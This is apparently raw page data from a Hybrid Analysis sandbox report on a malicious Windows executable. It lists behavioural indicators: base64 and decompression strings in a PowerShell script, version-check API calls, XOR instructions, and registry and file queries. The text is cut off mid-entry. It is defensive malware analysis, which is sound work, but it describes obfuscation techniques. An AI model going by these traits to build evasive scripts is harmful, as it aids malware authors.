26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 57:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T481,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample d5038b0adfdf… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d5038b0adfdf…. Malware family: Malware. Threat score 100/100. 4/26 AV engines flagged this file. 5 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d5038b0adfdfc36c23dbaafd982bb50bb0e9fc10838e731e10d182d91b28d970","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","d5038b0adfdfc36c23dbaafd982bb50bb0e9fc10838e731e10d182d91b28d970"],"about":{"@type":"SoftwareApplication","name":"1544dbca0efc2c0105dd7d52a21a8891.exe","applicationCategory":["peexe","executable"],"identifier":"d5038b0adfdfc36c23dbaafd982bb50bb0e9fc10838e731e10d182d91b28d970","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp")28:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}29:Ta99,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-158-0130A510 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00006632-48459-194-0130C4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00006632-48459-194-0130C4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-203-013089F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-203-013089F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-162-0130A4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-161-0130A4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-151-0130D501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-151-0130D501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-199-01307C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-199-01307C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-198-01308E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-198-01308E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-195-01308AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-195-01308AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-215-013092C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-215-013092C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-141-0130D610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-141-0130D610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-182-01308190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-182-01308190 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-202-013085B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-202-013085B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-149-0130D560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-149-0130D560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-214-0130C439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006632-48459-214-0130C439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006632-48459-49-0130EE602a:T639,file/memory contains long string with (Indicator: "FromBase64String"; File: "QJHJap.ps1") file/memory contains long string with (Indicator: "IO.Compression.CompressionMode"; File: "QJHJap.ps1") file/memory contains long string with (Indicator: "::Decompress"; File: "QJHJap.ps1") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.04A80000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp, 00000000-00005716.00000000.176793.00FA0000.00000004.mdmp, 00000000-00005716.00000000.176793.012A0000.00000004.mdmp, 00000000-00005716.00000000.176793.050A0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00006632.00000000.177536.00F00000.00000004.mdmp, 00000000-00006632.00000000.177536.00FB0000.00000004.mdmp, 00000000-00006632.00000000.177536.04A30000.00000004.mdmp, 00000000-00006632.00000000.177536.07552000.00000004.mdmp")2b:T20ea,"1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ad616077d4f81b00000000009b62607700d020a9d4f81b0010b54702fcf81b000000000010b547020000000000000000000000000100000000000000ee13610148f81b00ee13617748f91b00506a647768d857defeffffffdc006477055d60779000000003000000b4f81b00040000000000000000000000ffffffff0100000000f91b00b5566577fcf81b00d056657700000000d4f81b000000000003000000682247020000000000000000000000000000000000000000000000000200000048f91b00700a6477ec026477603b6377c8d120a990f91b0000005d7700b0210000b06e7700100000000005000100000000005d770000000090f91b00 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000001b0016e16676d8ef1b00d0ef1b00dcef1b000300000080f6ef76e8ef1b00aaec66760300000000000000e4471173b6ec667648ac086720f01b007de0667664e0667680b30867e447117305000000f09d11730000000075e2117386e21173a0f01b00802b6976c0056011feffffff2cf01b00e0df6676200213733cf01b0049d91273c06415732002137348f01b0063d91273200213736cf01b00fa9d1173010000000100000037066077010000000b2e677606000000dad81273b0f01b00eecf1273c4dc1273e2cf12738859fe67010000000100000000000000ccd820a918000000acf01b0032ba6277a0681573000000000000000000000000c0f01b00 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000c8cd1b0038cf6177b424470234ce1b000100000068244702b424470268244702040000000400000000e0fa760010000034ce1b000100000068244702cd9761779c976177c4f820a9b50ff176682447020000617700000000c414df760000000080eef7760100000000000000f8e2fa760000000004000000000000004840f976f8e2fa7638ce1b0080e8e2747892470280e8e27434ce1b000000000080e8e27400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000086f449029cf44902 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a6f34902bef34902 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a6f34902baf34902 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000a6f34902bcf34902 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003308) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003468) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003468) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e8da2f018cda2f01226e327700004b03000000002d6e327751ad9e592d000000ecb7327510db2f010000f900d0d14f0388854e030f0000008000000050da2f010000f900d4da2f0170c833772506892ffeffffff2d000000d0cc417527000000a4da2f01856a34771c233977e4da2f01f85f347708000000bb693377b269337739ad9e592d000000ecb7327527000000d0cc4175b8da2f012d000000d0cc417527000000e8da2f01856a34771c23397730db2f017e8a4075ee8c4075738a40750c6921492d000000ecb7327527000000d0cc4175bc954b0350954b030c692149f8da2f01fc527e75e4db2f01e08440750443723dfeffffff738a4075 (UID: 00000000-00003468) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000010000000000000001f85f4b03f85f4b030200000000000000070000000000000000604b03f8d94b03a3016177080001b2feffffff00004b0360024b03000000000000000500000000070000000200000060024b0307000000070000000700000007000000000000000000000060e72f01506a6477f8a93bc4feffffffe8e62f01b71661771c00000028000000a8024b03d4e62f010407e77200004b0300000000280000000000000000000000050000000300000000004b031c0000000000000084754b0308e72f01ee1361771c000000ee13617700000000000000001c000000ffffffff28e72f015072327700004b03000000001c0000000407e772 (UID: 00000000-00003468)2c:Teb0,"wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000174e03000000000000000040fc2f0145e46277781a4f031f0000001cfc2f01221d4e0379e46277e0a178b20000000050474e03e0174e03000000001f000000000000000000000008fc2f01ee13617718fd2f01506a647760a43bc4feffffff79e462772335097460fc2f0150184e0301000000cfa8ee76e079ef0000700801 (UID: 00000000-00003468) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000020000000000000000000000000000000000000051505d6310f12f01ad49f07638020000ffffffff0cf12f01000000000000000000f12f0108f12f010100000000000000020000000000000080f12f010000000000000000001000000000be0534f12f017363f00038020000040000000000000000000000 (UID: 00000000-00003468) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000004b038000000000000000f8537e754cdb2f01ee13617780000000ee136177000000000000000080000000f062f2727f381ffb6cdb2f015072327700004b030000000080000000f062f27202000000002ff27288db2f01fb62f272010000008004f372885f34770000000055ac9e59b8db2f01b864f272f42ef272 (UID: 00000000-00003468) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f021c7030000003c3bee7202000000c01aef72d09d4b03c89d4b0370f021c780c32f013c3bee726cc42f011010ef72c08dfeb4feffffff3212ef724c12ef72c01aef72e8c32f01d47dee72c01aef72735f34770100000094cbf072885f3477c07dee7235b49e5918c42f01880cef72343bee72403bee720000000000000000 (UID: 00000000-00003468) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000b0aae872f4964b03e0964b03e2d8984bc0d12f0188f6e972acd22f01809de872f2d75e38feffffff25a0e8723fa0e872b0aae87228d22f011f62e872b0aae872735f347701000000b8f5e972885f34771062e872f5a59e5958d22f01d899e872f432e8720833e872a8b6f07600000000b8b6f076985c9de258d22f01 (UID: 00000000-00003468) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000004b038000000000000000809de87214d22f01ee13617780000000ee1361770000000000000000800000009073eb72735f347734d22f015072327700004b0300000000800000009073eb72020000007033eb7250d22f019b73eb7201000000f045ec72885f3477000000008da59e5980d22f015875eb726433eb72 (UID: 00000000-00003468) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000101bd100000000000100000001000000000000002c00000090b1d30000000000140000000a000000000000000000000000006f007822d10014000000000000000000000000000000000000000000000000006e00000000006700000002000002 (UID: 00000000-00005716) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000fa008000000000000000a11400001cd28309ee13617780000000ee136177000000000000000080000000f062be71000000003cd28309507232770000fa000000000080000000f062be7102000000002fbe7158d28309fb62be71010000008004bf71885f3477000000009553a28b88d28309b864be71f42ebe71 (UID: 00000000-00005716) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000a8bcfd00000000000100000001000000000000002c000000b0d8ff0000000000140000000a000000000000000000000000006f0010c1fd0014000000000000000000000000000000000000000000000000006e00000000006700000013000013 (UID: 00000000-00006632) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000f0008000000000000000a114000064d1ae09ee13617780000000ee136177000000000000000080000000f062036f0000000084d1ae09507232770000f0000000000080000000f062036f02000000002f036fa0d1ae09fb62036f010000008004046f885f347700000000ebca6d12d0d1ae09b864036ff42e036f (UID: 00000000-00006632)2d:T91f,"1544dbca0efc2c0105dd7d52a21a8891.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2e:T6bb,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp")2f:T1477,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00005716-00000C15-1768896358 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005716-00000C15-1769109762 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005716-00000C15-1770796775 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00005716-00000C15-1771171188 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00005716-00000C15-1771225584 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005716-00000C15-1771346757 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1771353600 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005716-00000C15-1771381140 "powershell.exe" queries volume information of 